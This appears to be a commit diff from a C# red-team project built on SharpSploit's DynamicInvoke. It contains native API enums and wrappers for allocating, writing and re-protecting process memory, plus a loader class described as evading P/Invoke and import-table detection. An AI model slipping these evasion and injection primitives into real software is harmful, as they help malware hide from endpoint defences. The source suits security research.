InvalidWorkstation = 0xc0000070,
PasswordExpired = 0xc0000071,
AccountDisabled = 0xc0000072,
NoneMapped = 0xc0000073,
TooManyLuidsRequested = 0xc0000074,
LuidsExhausted = 0xc0000075,
InvalidSubAuthority = 0xc0000076,
InvalidAcl = 0xc0000077,
InvalidSid = 0xc0000078,
InvalidSecurityDescr = 0xc0000079,
ProcedureNotFound = 0xc000007a,
InvalidImageFormat = 0xc000007b,
NoToken = 0xc000007c,
BadInheritanceAcl = 0xc000007d,
RangeNotLocked = 0xc000007e,
DiskFull = 0xc000007f,
ServerDisabled = 0xc0000080,
ServerNotDisabled = 0xc0000081,
TooManyGuidsRequested = 0xc0000082,
GuidsExhausted = 0xc0000083,
InvalidIdAuthority = 0xc0000084,
AgentsExhausted = 0xc0000085,
InvalidVolumeLabel = 0xc0000086,
SectionNotExtended = 0xc0000087,
NotMappedData = 0xc0000088,
ResourceDataNotFound = 0xc0000089,
ResourceTypeNotFound = 0xc000008a,
ResourceNameNotFound = 0xc000008b,
ArrayBoundsExceeded = 0xc000008c,
FloatDenormalOperand = 0xc000008d,
FloatDivideByZero = 0xc000008e,
FloatInexactResult = 0xc000008f,
FloatInvalidOperation = 0xc0000090,
FloatOverflow = 0xc0000091,
FloatStackCheck = 0xc0000092,
FloatUnderflow = 0xc0000093,
IntegerDivideByZero = 0xc0000094,
IntegerOverflow = 0xc0000095,
PrivilegedInstruction = 0xc0000096,
TooManyPagingFiles = 0xc0000097,
FileInvalid = 0xc0000098,
InsufficientResources = 0xc000009a,
InstanceNotAvailable = 0xc00000ab,
PipeNotAvailable = 0xc00000ac,
InvalidPipeState = 0xc00000ad,
PipeBusy = 0xc00000ae,
IllegalFunction = 0xc00000af,
PipeDisconnected = 0xc00000b0,
PipeClosing = 0xc00000b1,
PipeConnected = 0xc00000b2,
PipeListening = 0xc00000b3,
InvalidReadMode = 0xc00000b4,
IoTimeout = 0xc00000b5,
FileForcedClosed = 0xc00000b6,
ProfilingNotStarted = 0xc00000b7,
ProfilingNotStopped = 0xc00000b8,
NotSameDevice = 0xc00000d4,
FileRenamed = 0xc00000d5,
CantWait = 0xc00000d8,
PipeEmpty = 0xc00000d9,
CantTerminateSelf = 0xc00000db,
InternalError = 0xc00000e5,
InvalidParameter1 = 0xc00000ef,
InvalidParameter2 = 0xc00000f0,
InvalidParameter3 = 0xc00000f1,
InvalidParameter4 = 0xc00000f2,
InvalidParameter5 = 0xc00000f3,
InvalidParameter6 = 0xc00000f4,
InvalidParameter7 = 0xc00000f5,
InvalidParameter8 = 0xc00000f6,
InvalidParameter9 = 0xc00000f7,
InvalidParameter10 = 0xc00000f8,
InvalidParameter11 = 0xc00000f9,
InvalidParameter12 = 0xc00000fa,
MappedFileSizeZero = 0xc000011e,
TooManyOpenedFiles = 0xc000011f,
Cancelled = 0xc0000120,
CannotDelete = 0xc0000121,
InvalidComputerName = 0xc0000122,
FileDeleted = 0xc0000123,
SpecialAccount = 0xc0000124,
SpecialGroup = 0xc0000125,
SpecialUser = 0xc0000126,
MembersPrimaryGroup = 0xc0000127,
FileClosed = 0xc0000128,
TooManyThreads = 0xc0000129,
ThreadNotInProcess = 0xc000012a,
TokenAlreadyInUse = 0xc000012b,
PagefileQuotaExceeded = 0xc000012c,
CommitmentLimit = 0xc000012d,
InvalidImageLeFormat = 0xc000012e,
InvalidImageNotMz = 0xc000012f,
InvalidImageProtect = 0xc0000130,
InvalidImageWin16 = 0xc0000131,
LogonServer = 0xc0000132,
DifferenceAtDc = 0xc0000133,
SynchronizationRequired = 0xc0000134,
DllNotFound = 0xc0000135,
IoPrivilegeFailed = 0xc0000137,
OrdinalNotFound = 0xc0000138,
EntryPointNotFound = 0xc0000139,
ControlCExit = 0xc000013a,
PortNotSet = 0xc0000353,
DebuggerInactive = 0xc0000354,
CallbackBypass = 0xc0000503,
PortClosed = 0xc0000700,
MessageLost = 0xc0000701,
InvalidMessage = 0xc0000702,
RequestCanceled = 0xc0000703,
RecursiveDispatch = 0xc0000704,
LpcReceiveBufferExpected = 0xc0000705,
LpcInvalidConnectionUsage = 0xc0000706,
LpcRequestsNotAllowed = 0xc0000707,
ResourceInUse = 0xc0000708,
ProcessIsProtected = 0xc0000712,
VolumeDirty = 0xc0000806,
FileCheckedOut = 0xc0000901,
CheckOutRequired = 0xc0000902,
BadFileType = 0xc0000903,
FileTooLarge = 0xc0000904,
FormsAuthRequired = 0xc0000905,
VirusInfected = 0xc0000906,
VirusDeleted = 0xc0000907,
TransactionalConflict = 0xc0190001,
InvalidTransaction = 0xc0190002,
TransactionNotActive = 0xc0190003,
TmInitializationFailed = 0xc0190004,
RmNotActive = 0xc0190005,
RmMetadataCorrupt = 0xc0190006,
TransactionNotJoined = 0xc0190007,
DirectoryNotRm = 0xc0190008,
CouldNotResizeLog = 0xc0190009,
TransactionsUnsupportedRemote = 0xc019000a,
LogResizeInvalidSize = 0xc019000b,
RemoteFileVersionMismatch = 0xc019000c,
CrmProtocolAlreadyExists = 0xc019000f,
TransactionPropagationFailed = 0xc0190010,
CrmProtocolNotFound = 0xc0190011,
TransactionSuperiorExists = 0xc0190012,
TransactionRequestNotValid = 0xc0190013,
TransactionNotRequested = 0xc0190014,
TransactionAlreadyAborted = 0xc0190015,
TransactionAlreadyCommitted = 0xc0190016,
TransactionInvalidMarshallBuffer = 0xc0190017,
CurrentTransactionNotValid = 0xc0190018,
LogGrowthFailed = 0xc0190019,
ObjectNoLongerExists = 0xc0190021,
StreamMiniversionNotFound = 0xc0190022,
StreamMiniversionNotValid = 0xc0190023,
MiniversionInaccessibleFromSpecifiedTransaction = 0xc0190024,
CantOpenMiniversionWithModifyIntent = 0xc0190025,
CantCreateMoreStreamMiniversions = 0xc0190026,
HandleNoLongerValid = 0xc0190028,
NoTxfMetadata = 0xc0190029,
LogCorruptionDetected = 0xc0190030,
CantRecoverWithHandleOpen = 0xc0190031,
RmDisconnected = 0xc0190032,
EnlistmentNotSuperior = 0xc0190033,
RecoveryNotNeeded = 0xc0190034,
RmAlreadyStarted = 0xc0190035,
FileIdentityNotPersistent = 0xc0190036,
CantBreakTransactionalDependency = 0xc0190037,
CantCrossRmBoundary = 0xc0190038,
TxfDirNotEmpty = 0xc0190039,
IndoubtTransactionsExist = 0xc019003a,
TmVolatile = 0xc019003b,
RollbackTimerExpired = 0xc019003c,
TxfAttributeCorrupt = 0xc019003d,
EfsNotAllowedInTransaction = 0xc019003e,
TransactionalOpenNotAllowed = 0xc019003f,
TransactedMappingUnsupportedRemote = 0xc0190040,
TxfMetadataAlreadyPresent = 0xc0190041,
TransactionScopeCallbacksNotSet = 0xc0190042,
TransactionRequiredPromotion = 0xc0190043,
CannotExecuteFileInTransaction = 0xc0190044,
TransactionsNotFrozen = 0xc0190045,
MaximumNtStatus = 0xffffffff
}
public enum PROCESSINFOCLASS : int
{
ProcessBasicInformation = 0, // 0, q: PROCESS_BASIC_INFORMATION, PROCESS_EXTENDED_BASIC_INFORMATION
ProcessQuotaLimits, // qs: QUOTA_LIMITS, QUOTA_LIMITS_EX
ProcessIoCounters, // q: IO_COUNTERS
ProcessVmCounters, // q: VM_COUNTERS, VM_COUNTERS_EX
ProcessTimes, // q: KERNEL_USER_TIMES
ProcessBasePriority, // s: KPRIORITY
ProcessRaisePriority, // s: ULONG
ProcessDebugPort, // q: HANDLE
ProcessExceptionPort, // s: HANDLE
ProcessAccessToken, // s: PROCESS_ACCESS_TOKEN
ProcessLdtInformation, // 10
ProcessLdtSize,
ProcessDefaultHardErrorMode, // qs: ULONG
ProcessIoPortHandlers, // (kernel-mode only)
ProcessPooledUsageAndLimits, // q: POOLED_USAGE_AND_LIMITS
ProcessWorkingSetWatch, // q: PROCESS_WS_WATCH_INFORMATION[]; s: void
ProcessUserModeIOPL,
ProcessEnableAlignmentFaultFixup, // s: BOOLEAN
ProcessPriorityClass, // qs: PROCESS_PRIORITY_CLASS
ProcessWx86Information,
ProcessHandleCount, // 20, q: ULONG, PROCESS_HANDLE_INFORMATION
ProcessAffinityMask, // s: KAFFINITY
ProcessPriorityBoost, // qs: ULONG
ProcessDeviceMap, // qs: PROCESS_DEVICEMAP_INFORMATION, PROCESS_DEVICEMAP_INFORMATION_EX
ProcessSessionInformation, // q: PROCESS_SESSION_INFORMATION
ProcessForegroundInformation, // s: PROCESS_FOREGROUND_BACKGROUND
ProcessWow64Information, // q: ULONG_PTR
ProcessImageFileName, // q: UNICODE_STRING
ProcessLUIDDeviceMapsEnabled, // q: ULONG
ProcessBreakOnTermination, // qs: ULONG
ProcessDebugObjectHandle, // 30, q: HANDLE
ProcessDebugFlags, // qs: ULONG
ProcessHandleTracing, // q: PROCESS_HANDLE_TRACING_QUERY; s: size 0 disables, otherwise enables
ProcessIoPriority, // qs: ULONG
ProcessExecuteFlags, // qs: ULONG
ProcessResourceManagement,
ProcessCookie, // q: ULONG
ProcessImageInformation, // q: SECTION_IMAGE_INFORMATION
ProcessCycleTime, // q: PROCESS_CYCLE_TIME_INFORMATION
ProcessPagePriority, // q: ULONG
ProcessInstrumentationCallback, // 40
ProcessThreadStackAllocation, // s: PROCESS_STACK_ALLOCATION_INFORMATION, PROCESS_STACK_ALLOCATION_INFORMATION_EX
ProcessWorkingSetWatchEx, // q: PROCESS_WS_WATCH_INFORMATION_EX[]
ProcessImageFileNameWin32, // q: UNICODE_STRING
ProcessImageFileMapping, // q: HANDLE (input)
ProcessAffinityUpdateMode, // qs: PROCESS_AFFINITY_UPDATE_MODE
ProcessMemoryAllocationMode, // qs: PROCESS_MEMORY_ALLOCATION_MODE
ProcessGroupInformation, // q: USHORT[]
ProcessTokenVirtualizationEnabled, // s: ULONG
ProcessConsoleHostProcess, // q: ULONG_PTR
ProcessWindowInformation, // 50, q: PROCESS_WINDOW_INFORMATION
ProcessHandleInformation, // q: PROCESS_HANDLE_SNAPSHOT_INFORMATION // since WIN8
ProcessMitigationPolicy, // s: PROCESS_MITIGATION_POLICY_INFORMATION
ProcessDynamicFunctionTableInformation,
ProcessHandleCheckingMode,
ProcessKeepAliveCount, // q: PROCESS_KEEPALIVE_COUNT_INFORMATION
ProcessRevokeFileHandles, // s: PROCESS_REVOKE_FILE_HANDLES_INFORMATION
MaxProcessInfoClass
};
public enum FreeType : uint
{
MEM_DECOMMIT = 0x00004000,
MEM_RELEASE = 0x00008000
}
// http://www.pinvoke.net/default.aspx/kernel32/VirtualAlloc.html
// NtAllocateVirtualMemory - ULONG AllocationType
[Flags]
public enum AllocationType : uint
{
Commit = 0x1000,
Reserve = 0x2000,
Decommit = 0x4000,
Release = 0x8000,
Reset = 0x80000,
Physical = 0x400000,
TopDown = 0x100000,
WriteWatch = 0x200000,
LargePages = 0x20000000
}
// http://www.pinvoke.net/default.aspx/Enums/ACCESS_MASK.html
// NtCreateThread - ACCESS_MASK DesiredAccess
[Flags]
public enum ACCESS_MASK : uint
{
DELETE = 0x00010000,
READ_CONTROL = 0x00020000,
WRITE_DAC = 0x00040000,
WRITE_OWNER = 0x00080000,
SYNCHRONIZE = 0x00100000,
STANDARD_RIGHTS_REQUIRED = 0x000F0000,
STANDARD_RIGHTS_READ = 0x00020000,
STANDARD_RIGHTS_WRITE = 0x00020000,
STANDARD_RIGHTS_EXECUTE = 0x00020000,
STANDARD_RIGHTS_ALL = 0x001F0000,
SPECIFIC_RIGHTS_ALL = 0x0000FFFF,
ACCESS_SYSTEM_SECURITY = 0x01000000,
MAXIMUM_ALLOWED = 0x02000000,
GENERIC_READ = 0x80000000,
GENERIC_WRITE = 0x40000000,
GENERIC_EXECUTE = 0x20000000,
GENERIC_ALL = 0x10000000,
DESKTOP_READOBJECTS = 0x00000001,
DESKTOP_CREATEWINDOW = 0x00000002,
DESKTOP_CREATEMENU = 0x00000004,
DESKTOP_HOOKCONTROL = 0x00000008,
DESKTOP_JOURNALRECORD = 0x00000010,
DESKTOP_JOURNALPLAYBACK = 0x00000020,
DESKTOP_ENUMERATE = 0x00000040,
DESKTOP_WRITEOBJECTS = 0x00000080,
DESKTOP_SWITCHDESKTOP = 0x00000100,
WINSTA_ENUMDESKTOPS = 0x00000001,
WINSTA_READATTRIBUTES = 0x00000002,
WINSTA_ACCESSCLIPBOARD = 0x00000004,
WINSTA_CREATEDESKTOP = 0x00000008,
WINSTA_WRITEATTRIBUTES = 0x00000010,
WINSTA_ACCESSGLOBALATOMS = 0x00000020,
WINSTA_EXITWINDOWS = 0x00000040,
WINSTA_ENUMERATE = 0x00000100,
WINSTA_READSCREEN = 0x00000200,
WINSTA_ALL_ACCESS = 0x0000037F
}
// http://pinvoke.net/default.aspx/Structures/UNICODE_STRING.html
// NtCreateThread - POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL
[StructLayout(LayoutKind.Sequential)]
public struct UNICODE_STRING : IDisposable
{
public ushort Length;
public ushort MaximumLength;
private IntPtr buffer;
public UNICODE_STRING(string s)
{
Length = (ushort)(s.Length * 2);
MaximumLength = (ushort)(Length + 2);
buffer = Marshal.StringToHGlobalUni(s);
}
public void Dispose()
{
Marshal.FreeHGlobal(buffer);
buffer = IntPtr.Zero;
}
public override string ToString()
{
return Marshal.PtrToStringUni(buffer);
}
}
// http://www.pinvoke.net/default.aspx/Structures/OBJECT_ATTRIBUTES.html
// NtCreateThread - POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL
public struct OBJECT_ATTRIBUTES : IDisposable
{
public int Length;
public IntPtr RootDirectory;
private IntPtr objectName;
public uint Attributes;
public IntPtr SecurityDescriptor;
public IntPtr SecurityQualityOfService;
public OBJECT_ATTRIBUTES(string name, uint attrs)
{
Length = 0;
RootDirectory = IntPtr.Zero;
objectName = IntPtr.Zero;
Attributes = attrs;
SecurityDescriptor = IntPtr.Zero;
SecurityQualityOfService = IntPtr.Zero;
Length = Marshal.SizeOf(this);
ObjectName = new UNICODE_STRING(name);
}
public UNICODE_STRING ObjectName
{
get
{
return (UNICODE_STRING)Marshal.PtrToStructure(
objectName, typeof(UNICODE_STRING));
}
set
{
bool fDeleteOld = objectName != IntPtr.Zero;
if (!fDeleteOld)
objectName = Marshal.AllocHGlobal(Marshal.SizeOf(value));
Marshal.StructureToPtr(value, objectName, fDeleteOld);
}
}
public void Dispose()
{
if (objectName != IntPtr.Zero)
{
Marshal.DestroyStructure(objectName, typeof(UNICODE_STRING));
Marshal.FreeHGlobal(objectName);
objectName = IntPtr.Zero;
}
}
}
// http://www.pinvoke.net/default.aspx/kernel32/VirtualProtectEx.html
// For making memory RX
[DllImport("kernel32.dll")]
public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
// http://www.pinvoke.net/default.aspx/kernel32/VirtualProtect.html
// For making memory RX
public enum AllocationProtect : uint
{
PAGE_EXECUTE = 0x00000010,
PAGE_EXECUTE_READ = 0x00000020,
PAGE_EXECUTE_READWRITE = 0x00000040,
PAGE_EXECUTE_WRITECOPY = 0x00000080,
PAGE_NOACCESS = 0x00000001,
PAGE_READONLY = 0x00000002,
PAGE_READWRITE = 0x00000004,
PAGE_WRITECOPY = 0x00000008,
PAGE_GUARD = 0x00000100,
PAGE_NOCACHE = 0x00000200,
PAGE_WRITECOMBINE = 0x00000400
}
// http://www.pinvoke.net/default.aspx/kernel32/GetCurrentProcess.html
// For getting a handle to the current process
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr GetCurrentProcess();
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern uint GetThreadId(IntPtr hThread);
public static NTSTATUS NtQueryInformationProcess(IntPtr hProcess, PROCESSINFOCLASS processInfoClass, out IntPtr pProcInfo)
{
int processInformationLength;
UInt32 RetLen = 0;
switch (processInfoClass)
{
case PROCESSINFOCLASS.ProcessWow64Information:
pProcInfo = Marshal.AllocHGlobal(IntPtr.Size);
RtlZeroMemory(pProcInfo, IntPtr.Size);
processInformationLength = IntPtr.Size;
break;
case PROCESSINFOCLASS.ProcessBasicInformation:
PROCESS_BASIC_INFORMATION PBI = new PROCESS_BASIC_INFORMATION();
pProcInfo = Marshal.AllocHGlobal(Marshal.SizeOf(PBI));
RtlZeroMemory(pProcInfo, Marshal.SizeOf(PBI));
Marshal.StructureToPtr(PBI, pProcInfo, true);
processInformationLength = Marshal.SizeOf(PBI);
break;
default:
throw new InvalidOperationException($"Invalid ProcessInfoClass: {processInfoClass}");
}
object[] funcargs =
{
hProcess, processInfoClass, pProcInfo, processInformationLength, RetLen
};
NTSTATUS retValue = (NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtQueryInformationProcess", typeof(Delegates.NtQueryInformationProcess), ref funcargs);
if (retValue != NTSTATUS.Success)
{
throw new UnauthorizedAccessException("Access is denied.");
}
// Update the modified variables
pProcInfo = (IntPtr)funcargs[2];
return retValue;
}
public static bool NtQueryInformationProcessWow64Information(IntPtr hProcess)
{
NTSTATUS retValue = NtQueryInformationProcess(hProcess, PROCESSINFOCLASS.ProcessWow64Information, out IntPtr pProcInfo);
if (retValue != NTSTATUS.Success)
{
throw new UnauthorizedAccessException("Access is denied.");
}
if (Marshal.ReadIntPtr(pProcInfo) == IntPtr.Zero)
{
return false;
}
return true;
}
public static void RtlZeroMemory(IntPtr Destination, int Length)
{
// Craft an array for the arguments
object[] funcargs =
{
Destination, Length
};
Generic.DynamicAPIInvoke(@"ntdll.dll", @"RtlZeroMemory", typeof(Delegates.RtlZeroMemory), ref funcargs);
}
public static IntPtr NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref IntPtr RegionSize, AllocationType AllocationType, uint Protect)
{
// Craft an array for the arguments
object[] funcargs =
{
ProcessHandle, BaseAddress, ZeroBits, RegionSize, AllocationType, Protect
};
NTSTATUS retValue = (NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtAllocateVirtualMemory", typeof(Delegates.NtAllocateVirtualMemory), ref funcargs);
//IntPtr pointer = Generic.GetLibraryAddress("ntdll.dll", "NtAllocateVirtualMemory");
//Delegates.NtAllocateVirtualMemory NtAllocateVirtualMemory = Marshal.GetDelegateForFunctionPointer(pointer, typeof(Delegates.NtAllocateVirtualMemory)) as Delegates.NtAllocateVirtualMemory;
//NTSTATUS retValue = NtAllocateVirtualMemory(ProcessHandle, ref BaseAddress, ZeroBits, ref RegionSize, AllocationType, Protect);
if (retValue == NTSTATUS.AccessDenied)
{
// STATUS_ACCESS_DENIED
throw new UnauthorizedAccessException("Access is denied.");
}
if (retValue == NTSTATUS.AlreadyCommitted)
{
// STATUS_ALREADY_COMMITTED
throw new InvalidOperationException("The specified address range is already committed.");
}
if (retValue == NTSTATUS.CommitmentLimit)
{
// STATUS_COMMITMENT_LIMIT
throw new InvalidOperationException("Your system is low on virtual memory.");
}
if (retValue == NTSTATUS.ConflictingAddresses)
{
// STATUS_CONFLICTING_ADDRESSES
throw new InvalidOperationException("The specified address range conflicts with the address space.");
}
if (retValue == NTSTATUS.InsufficientResources)
{
// STATUS_INSUFFICIENT_RESOURCES
throw new InvalidOperationException("Insufficient system resources exist to complete the API call.");
}
if (retValue == NTSTATUS.InvalidHandle)
{
// STATUS_INVALID_HANDLE
throw new InvalidOperationException("An invalid HANDLE was specified.");
}
if (retValue == NTSTATUS.InvalidPageProtection)
{
// STATUS_INVALID_PAGE_PROTECTION
throw new InvalidOperationException("The specified page protection was not valid.");
}
if (retValue == NTSTATUS.NoMemory)
{
// STATUS_NO_MEMORY
throw new InvalidOperationException("Not enough virtual memory or paging file quota is available to complete the specified operation.");
}
if (retValue == NTSTATUS.ObjectTypeMismatch)
{
// STATUS_OBJECT_TYPE_MISMATCH
throw new InvalidOperationException("There is a mismatch between the type of object that is required by the requested operation and the type of object that is specified in the request.");
}
if (retValue != NTSTATUS.Success)
{
// STATUS_PROCESS_IS_TERMINATING == 0xC000010A
throw new InvalidOperationException("An attempt was made to duplicate an object handle into or out of an exiting process.");
}
BaseAddress = (IntPtr)funcargs[1];
return BaseAddress;
}
public struct PROCESS_BASIC_INFORMATION
{
public IntPtr ExitStatus;
public IntPtr PebBaseAddress;
public IntPtr AffinityMask;
public IntPtr BasePriority;
public UIntPtr UniqueProcessId;
public int InheritedFromUniqueProcessId;
public int Size
{
get { return (int)Marshal.SizeOf(typeof(PROCESS_BASIC_INFORMATION)); }
}
}
public static UInt32 NtWriteVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, IntPtr Buffer, UInt32 BufferLength)
{
// Craft an array for the arguments
UInt32 BytesWritten = 0;
object[] funcargs =
{
ProcessHandle, BaseAddress, Buffer, BufferLength, BytesWritten
};
NTSTATUS retValue = (NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtWriteVirtualMemory", typeof(Delegates.NtWriteVirtualMemory), ref funcargs);
if (retValue != NTSTATUS.Success)
{
throw new InvalidOperationException("Failed to write memory, " + retValue);
}
BytesWritten = (UInt32)funcargs[4];
return BytesWritten;
}
public static UInt32 NtProtectVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, UInt32 NewProtect)
{
// Craft an array for the arguments
UInt32 OldProtect = 0;
object[] funcargs =
{
ProcessHandle, BaseAddress, RegionSize, NewProtect, OldProtect
};
NTSTATUS retValue = (NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtProtectVirtualMemory", typeof(Delegates.NtProtectVirtualMemory), ref funcargs);
if (retValue != NTSTATUS.Success)
{
throw new InvalidOperationException("Failed to change memory protection, " + retValue);
}
OldProtect = (UInt32)funcargs[4];
return OldProtect;
}
public static void NtFreeVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, Native.FreeType FreeType)
{
// Craft an array for the arguments
object[] funcargs =
{
ProcessHandle, BaseAddress, RegionSize, FreeType
};
NTSTATUS retValue = (NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtFreeVirtualMemory", typeof(Delegates.NtFreeVirtualMemory), ref funcargs);
if (retValue == NTSTATUS.AccessDenied)
{
// STATUS_ACCESS_DENIED
throw new UnauthorizedAccessException("Access is denied.");
}
if (retValue == NTSTATUS.InvalidHandle)
{
// STATUS_INVALID_HANDLE
throw new InvalidOperationException("An invalid HANDLE was specified.");
}
if (retValue != NTSTATUS.Success)
{
// STATUS_OBJECT_TYPE_MISMATCH == 0xC0000024
throw new InvalidOperationException("There is a mismatch between the type of object that is required by the requested operation and the type of object that is specified in the request.");
}
}
}

View File

@ -41,8 +41,12 @@
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="DInvoke\Delegates.cs" />
<Compile Include="DInvoke\Generic.cs" />
<Compile Include="DInvoke\Native.cs" />
<Compile Include="Program.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<Compile Include="DInvoke\MessyTools.cs" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
</Project>

View File

@ -0,0 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<ProjectView>ProjectFiles</ProjectView>
</PropertyGroup>
</Project>

735
DynamicInvoke/Generic.cs Normal file
View File

@ -0,0 +1,735 @@
// Author: Ryan Cobb (@cobbr_io)
// Project: SharpSploit (https://github.com/cobbr/SharpSploit)
// License: BSD 3-Clause
using System;
using System.IO;
using System.Text;
using System.Diagnostics;
using System.Collections.Generic;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
using Execute = SharpSploit.Execution;
namespace SharpSploit.Execution.DynamicInvoke
{
/// <summary>
/// Generic is a class for dynamically invoking arbitrary API calls from memory or disk. DynamicInvoke avoids suspicious
/// P/Invoke signatures, imports, and IAT entries by loading modules and invoking their functions at runtime.
/// </summary>
public class Generic
{
/// <summary>
/// Dynamically invoke an arbitrary function from a DLL, providing its name, function prototype, and arguments.
/// </summary>
/// <author>The Wover (@TheRealWover)</author>
/// <param name="DLLName">Name of the DLL.</param>
/// <param name="FunctionName">Name of the function.</param>
/// <param name="FunctionDelegateType">Prototype for the function, represented as a Delegate object.</param>
/// <param name="Parameters">Parameters to pass to the function. Can be modified if function uses call by reference.</param>
/// <returns>Object returned by the function. Must be unmarshalled by the caller.</returns>
public static object DynamicAPIInvoke(string DLLName, string FunctionName, Type FunctionDelegateType, ref object[] Parameters)
{
IntPtr pFunction = GetLibraryAddress(DLLName, FunctionName);
return DynamicFunctionInvoke(pFunction, FunctionDelegateType, ref Parameters);
}
/// <summary>
/// Dynamically invokes an arbitrary function from a pointer. Useful for manually mapped modules or loading/invoking unmanaged code from memory.
/// </summary>
/// <author>The Wover (@TheRealWover)</author>
/// <param name="FunctionPointer">A pointer to the unmanaged function.</param>
/// <param name="FunctionDelegateType">Prototype for the function, represented as a Delegate object.</param>
/// <param name="Parameters">Arbitrary set of parameters to pass to the function. Can be modified if function uses call by reference.</param>
/// <returns>Object returned by the function. Must be unmarshalled by the caller.</returns>
public static object DynamicFunctionInvoke(IntPtr FunctionPointer, Type FunctionDelegateType, ref object[] Parameters)
{
Delegate funcDelegate = Marshal.GetDelegateForFunctionPointer(FunctionPointer, FunctionDelegateType);
return funcDelegate.DynamicInvoke(Parameters);
}
/// <summary>
/// Resolves LdrLoadDll and uses that function to load a DLL from disk.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="DLLPath">The path to the DLL on disk. Uses the LoadLibrary convention.</param>
/// <returns>IntPtr base address of the loaded module or IntPtr.Zero if the module was not loaded successfully.</returns>
public static IntPtr LoadModuleFromDisk(string DLLPath)
{
Execute.Native.UNICODE_STRING uModuleName = new Execute.Native.UNICODE_STRING();
Native.RtlInitUnicodeString(ref uModuleName, DLLPath);
IntPtr hModule = IntPtr.Zero;
Execute.Native.NTSTATUS CallResult = Native.LdrLoadDll(IntPtr.Zero, 0, ref uModuleName, ref hModule);
if (CallResult != Execute.Native.NTSTATUS.Success || hModule == IntPtr.Zero)
{
return IntPtr.Zero;
}
return hModule;
}
/// <summary>
/// Helper for getting the pointer to a function from a DLL loaded by the process.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="DLLName">The name of the DLL (e.g. "ntdll.dll" or "C:\Windows\System32\ntdll.dll").</param>
/// <param name="FunctionName">Name of the exported procedure.</param>
/// <param name="CanLoadFromDisk">Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list.</param>
/// <returns>IntPtr for the desired function.</returns>
public static IntPtr GetLibraryAddress(string DLLName, string FunctionName, bool CanLoadFromDisk = false)
{
IntPtr hModule = GetLoadedModuleAddress(DLLName);
if (hModule == IntPtr.Zero && CanLoadFromDisk)
{
hModule = LoadModuleFromDisk(DLLName);
if (hModule == IntPtr.Zero)
{
throw new FileNotFoundException(DLLName + ", unable to find the specified file.");
}
}
else if (hModule == IntPtr.Zero)
{
throw new DllNotFoundException(DLLName + ", Dll was not found.");
}
return GetExportAddress(hModule, FunctionName);
}
/// <summary>
/// Helper for getting the pointer to a function from a DLL loaded by the process.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="DLLName">The name of the DLL (e.g. "ntdll.dll" or "C:\Windows\System32\ntdll.dll").</param>
/// <param name="Ordinal">Ordinal of the exported procedure.</param>
/// <param name="CanLoadFromDisk">Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list.</param>
/// <returns>IntPtr for the desired function.</returns>
public static IntPtr GetLibraryAddress(string DLLName, short Ordinal, bool CanLoadFromDisk = false)
{
IntPtr hModule = GetLoadedModuleAddress(DLLName);
if (hModule == IntPtr.Zero && CanLoadFromDisk)
{
hModule = LoadModuleFromDisk(DLLName);
if (hModule == IntPtr.Zero)
{
throw new FileNotFoundException(DLLName + ", unable to find the specified file.");
}
}
else if (hModule == IntPtr.Zero)
{
throw new DllNotFoundException(DLLName + ", Dll was not found.");
}
return GetExportAddress(hModule, Ordinal);
}
/// <summary>
/// Helper for getting the pointer to a function from a DLL loaded by the process.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="DLLName">The name of the DLL (e.g. "ntdll.dll" or "C:\Windows\System32\ntdll.dll").</param>
/// <param name="FunctionHash">Hash of the exported procedure.</param>
/// <param name="Key">64-bit integer to initialize the keyed hash object (e.g. 0xabc or 0x1122334455667788).</param>
/// <param name="CanLoadFromDisk">Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list.</param>
/// <returns>IntPtr for the desired function.</returns>
public static IntPtr GetLibraryAddress(string DLLName, string FunctionHash, long Key, bool CanLoadFromDisk = false)
{
IntPtr hModule = GetLoadedModuleAddress(DLLName);
if (hModule == IntPtr.Zero && CanLoadFromDisk)
{
hModule = LoadModuleFromDisk(DLLName);
if (hModule == IntPtr.Zero)
{
throw new FileNotFoundException(DLLName + ", unable to find the specified file.");
}
}
else if (hModule == IntPtr.Zero)
{
throw new DllNotFoundException(DLLName + ", Dll was not found.");
}
return GetExportAddress(hModule, FunctionHash, Key);
}
/// <summary>
/// Helper for getting the base address of a module loaded by the current process. This base
/// address could be passed to GetProcAddress/LdrGetProcedureAddress or it could be used for
/// manual export parsing. This function uses the .NET System.Diagnostics.Process class.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="DLLName">The name of the DLL (e.g. "ntdll.dll").</param>
/// <returns>IntPtr base address of the loaded module or IntPtr.Zero if the module is not found.</returns>
public static IntPtr GetLoadedModuleAddress(string DLLName)
{
ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules;
foreach (ProcessModule Mod in ProcModules)
{
if (Mod.FileName.ToLower().EndsWith(DLLName.ToLower()))
